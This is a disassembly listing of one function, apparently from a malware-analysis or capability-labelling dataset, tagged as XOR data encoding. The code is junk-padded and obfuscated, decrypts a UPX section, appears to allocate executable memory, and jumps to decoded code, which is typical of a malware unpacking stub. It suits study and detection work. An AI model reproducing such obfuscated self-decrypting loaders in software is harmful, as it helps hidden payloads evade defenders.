Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xa0610e17
inc ecx
add eax, 0x10ae73bf
popal
mov eax, 0x7ca2a462
add eax, 1
mov eax, ecx
mov eax, 0
mov edx, ecx
sub ebx, 0xd9898278
sub ebx, esi
sub esi, 1
mov edi, edx
and esi, ebx
mov ebx, esi
mov ecx, edi
not esi
not ebx
or ebx, esi
inc eax
mov ebx, 0x3c819bac
mov esi, ebx
and esi, esi
cmp eax, 0x100bebc
jne 0x47b454
sub ebx, 1
sub esi, 0x4f053c9a
add ebx, 0x7ea2096c
not eax
add eax, ecx
mov edi, 0x47b21e
inc esi
mov ebx, ecx
sub ecx, ebx
mov edx, 0x47b412
sub esi, 0x5ea793f5
sub ecx, 1
mov eax, dword [edi]
dec ebx
inc ecx
and eax, 0xff
add esi, ecx
add ebx, ecx
xor dword [edx], eax
mov esi, 0x6ee49c40
sub ebx, ecx
add edx, 1
not ebx
sub ebx, 0xb83efcd8
and ebx, esi
inc edi
mov ecx, 0x6adab086
sub esi, 0xdaaa8ed3
add esi, ebx
cmp edx, entry0
jl 0x47b4b9
add esi, 0x4a8a7480
and esi, esi
mov ecx, 0x7e8e3812
or ecx, ebx
add ecx, 0x8b75d8ff
or ecx, ebx
add edi, ecx
sub ecx, 0xecd078e5
or edi, ebx
mov edx, 0x47b416
sub ebx, ecx
add ebx, ecx
not ebx
mov edx, dword [edx]
not edi
and ecx, ecx
not ecx
mov edx, dword [edx]
dec ecx
mov edi, esi
sub ecx, edi
push edx
and esi, edi
mov ecx, ebx
mov edi, ecx
mov edx, 0x47b412
add edi, edi
not ebx
mov edx, dword [edx]
and esi, esi
dec esi
mov edx, dword [edx]
sub ebx, 0xa73ae60a
sub edi, ebx
sub esp, 4
mov dword [esp], 0x47b41a
and ebx, ecx
inc ecx
call edx
sub ecx, edi
and edi, esi
pop edx
add esi, edi
add ecx, ecx
push 0x47b427
and ecx, esi
dec ebx
mov ecx, edi
sub esp, 4
mov dword [esp], eax
add ebx, edi
add ebx, ebx
sub ebx, esi
call edx
sub ecx, esi
dec ecx
push 0x40
and edi, ecx
or esi, edi
mov edi, 0xd150b7fb
push 0x3000
inc ecx
inc ebx
push 0x20000942
or edi, esi
mov ecx, ebx
push 0
add edi, ecx
mov ecx, 0x9610c0d0
not esi
call eax
add ebx, 1
add ecx, edi
add eax, 0x200008c2
inc esi
mov esi, edi
or edi, esi
mov edx, 0xbfefef48
add ecx, ecx
and edi, ebx
add ebx, 1
mov dword [eax], edx
mov ebx, 0x6943aaaa
sub esi, ebx
mov edx, dword [eax]
mov ebx, 0x3f9464f
add esi, ebx
cmp edx, 0xbfefef48
je 0x47b5f8
mov edx, 0
mov byte [edx], cl
sub ecx, esi
and edi, ecx
add ecx, 0x987648b5
add esi, 0x2b3485e2
add ebx, 0x9b5a025
sub ecx, eax
sub ecx, eax
not eax
mov ebx, section.UPX1
add eax, 1
or eax, eax
sub ecx, eax
mov edi, 0x47b21d
sub ecx, eax
mov ecx, 0xa46be2e0
mov eax, 0xdb0408fa
mov edx, 0
not ecx
mov ecx, eax
add eax, 0xf10bc31c
mov esi, 0x47b21e
add eax, 0x9e1cff61
sub eax, 0xa6b75670
or eax, ecx
lea esi, [edx + esi]
mov eax, ecx
mov eax, ecx
add eax, 1
mov esi, dword [esi]
mov eax, 0xaab53ee6
mov ecx, 0x7363c9c
sub eax, 0x34083073
and esi, 0xff
not ecx
mov ecx, eax
add edx, 1
not ecx
mov eax, ecx
mov eax, 0x929b687e
cmp edx, 0x1f4
jne 0x47b69b
mov edx, 0
add eax, ecx
mov ecx, 0x607ffbf2
add ecx, 0x815befe3
inc ecx
add ecx, 1
xor dword [ebx], esi
dec eax
mov eax, ecx
add ebx, 2
mov eax, 0xf36fb12c
add ecx, ecx
add eax, eax
cmp ebx, edi
jl 0x47b643
add ecx, 0xdd976c1c
mov ecx, 0xeb8df943
not ecx
mov ecx, eax
mov eax, ecx
mov ecx, eax
mov esi, section.UPX1
mov ecx, 0xcd9013e7
add ecx, ecx
mov ecx, 0xf0555312
mov ebx, section.UPX1
mov eax, ecx
add eax, 0xd630935
mov edi, 0x47b21d
and ecx, eax
mov eax, ecx
not ecx
mov edx, 0
sub eax, 0xee653677
sub ecx, eax
mov dl, byte [ebx]
and ecx, eax
sub ecx, 0xf1cdb371
add eax, 0x61d11af8
mov byte [esi], dl
mov ecx, eax
mov ecx, 0x89829014
mov eax, 0xab4ba2b9
inc esi
sub eax, 0xdc4d8d99
not ecx
sub eax, ecx
add ebx, 2
dec eax
not ecx
mov ecx, eax
cmp ebx, edi
jle 0x47b714
mov ecx, eax
not ecx
sub eax, 0xf18c9ccc
add ecx, 0x9a5e2850
inc eax
sub esp, 4
mov dword [esp], 0x45e6a0
or ecx, eax
dec ecx
ret